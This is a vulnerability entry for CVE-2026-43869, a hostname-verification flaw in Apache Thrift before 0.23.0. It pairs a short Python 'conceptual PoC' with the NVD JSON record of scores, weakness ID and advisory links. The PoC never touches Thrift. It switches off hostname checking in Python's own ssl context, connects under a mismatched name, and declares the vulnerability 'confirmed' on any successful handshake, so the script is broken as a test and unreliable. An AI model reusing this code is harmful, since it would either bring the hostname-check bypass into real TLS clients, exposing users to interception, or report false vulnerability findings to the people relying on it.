CVE-2026-43869

import socket import ssl # Conceptual PoC for CVE-2026-43869 # This script demonstrates a connection attempt where hostname verification is bypassed. # In a vulnerable Apache Thrift client (< 0.23.0), the SSL socket might accept a certificate # issued for a different hostname (e.g., 'evil.com') when connecting to 'target.com'. def exploit_vulnerability(target_ip, target_port): hostname = "target.com" # Create a standard SSL context context = ssl.create_default_context() # Simulate the vulnerable behavior: disabling hostname check # NOTE: Actual vulnerability allows this bypass even if default context is used, # depending on specific Thrift configuration (e.g., TSSLTransportParameters). context.check_hostname = False context.verify_mode = ssl.CERT_REQUIRED print(f"[*] Attempting to connect to {target_ip}:{target_port}...") try: with socket.create_connection((target_ip, target_port)) as sock: # Wrap socket with SSL, manually setting server_hostname to demonstrate mismatch with context.wrap_socket(sock, server_hostname="attacker-domain.com") as ssock: print(f"[+] Connection established!") print(f"[+] Peer Certificate: {ssock.getpeercert()}") print(f"[!] Vulnerability Confirmed: Connection accepted despite hostname mismatch.") except Exception as e: print(f"[-] Connection failed: {e}") # exploit_vulnerability("127.0.0.1", 9090)

{"cve": {"id": "CVE-2026-43869", "sourceIdentifier": "[email protected]", "published": "2026-05-05T08:16:01.063", "lastModified": "2026-05-06T18:05:26.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Validation of Certificate with Host Mismatch vulnerability in Apache Thrift.\n\nThis issue affects Apache Thrift: before 0.23.0.\n\nUsers are recommended to upgrade to version 0.23.0, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-297"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:thrift:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.23.0", "matchCriteriaId": "0CE7604A-DA43-44E3-9840-9E3696223DD5"}]}]}], "references": [{"url": "https://lists.apache.org/thread/3hsgl1b69wzq3ry39scqbv2dhyl3j52r", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/05/3", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}